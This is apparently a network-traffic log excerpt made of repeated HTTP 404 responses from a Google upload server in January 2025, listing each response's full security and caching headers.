Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6uIo5some-btXRcOLd22gMLvc_fEF3ARs7EjTXWqi_iJRU6uxBJH79s0pqNvkWtGR1Iv_7ivYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:33:27 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-7A6MlT_rupybLNtKCERIEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC647X2r8U-MTu2n4aPvSdUj3TCScGugC88GXg6g6TgO7vQSPHRs5P0o7lRdkqZFrbGkphzD0tYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:33:38 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-dqRnQ96kB8Cx8gWsNVQXJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6arl5y70PQyRDrWNpMytZQSp4tzis-6_R2Kwf-yQJ2dC7eUDn8WCfRwRAe5XX_M7xNYxa-nI4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:33:49 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-3X_gkwWtI59K738p9N7fqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ptTXBTBoCC7JBURVujK9C_kF1AF1JEv7GN8u5sT4ycQ-vETjaPrWByA3vdk1bNm5NwTMDXVcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:34:00 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-qk5CtqYNXSJCBebOjSD41Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4owAQ-rszhPRwGVnM8A0PHGiS_Wsxrq_Fg_ROtqV0ttHRoZRbUHzeLJRoGMtMwRS3wContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:34:11 GMTContent-Security-Policy: script-src 'nonce-gZFSwUHLrUXlEHG4bMp8jA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC56mYfJx7SXF7l10xCPbmiRpR_TcfO8qEGS9TjRAycG4fby3BcR9NAJkDYTbWEOI18yContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:34:23 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-M1v3c6y7Ku6SLrIGidpNMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6b4nxUtM48yAR1ZBuO4biwPKd3tdXouRKAbMVj5U55tuVtehXX0n9i9EMGa5n3JYYjCIQYP2sContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:34:34 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-WfPEWujkleLhr6wVvKm7zg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6rviVyHLoy3-nG-CuXrfbQ6P8mnMuGlGZlbHpw-j6LDAFi7V9gZTiMcmzg9jazfgSibDpSIBEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:34:45 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-1oCRabKA1pxrLDpkYjV2mA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC45-i7YH9HgbwTZoFCrGyKRyVgEQlrBnLxE2vDMWXYSEBg3Dsfmtht0qa1UYFa0f-E2Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:34:57 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-SJ7dBqLYgQFCMsI7lb0qgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7X79WSwMnVC6Dk6SezQM-LvXn1WZhUNpqNpv9HB60POcagnGdD8CIdlMJkzbopNMRYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:35:11 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-XuSKyxWzvXdaWTilRNBcJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQXtUEJZf4C4gkDCXKnFkydjwwQWKm1nceswqeqLOCI1hznQIp0uNPXdYf66dRviP6W_e-E86AContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:35:22 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-X86PfESf03BrET8MPkZ54A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4XBvI73cbfhFTD7NKIHyRefins8Nh-tMwIvGsVOJMNJUm46jRX1TkZlVl8aIjOUN2E_lnlG5oContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:35:33 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-QtfbGDAh5BauZHnw-osd9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSJS6KD6gxCzrqqBeRy24CousGyYUM_mZdjcRvC4T79YGmFUkvXV5do_CUI5_pjniO7uZ7cyG4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:35:44 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-0PzhdXXu0uPuUoB_l9032w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7MGSCM-SqO8QIqqKWY3qJxCkHxZcO5bdMP9oMniQH9Cu54DdZ51K_0TXxSih3FWwrqHwnqwTgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:35:56 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-cf6_GHo-5Pu2mtyymmWuuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTPSAVtfR4XjmO_v3WA6bPvV6XjRtUcKAea1tg9dsK3ECRk2pI-yjq12m49LcgZdGyNContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:36:07 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-khC-4aYosW-NtjAkFBbzkA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
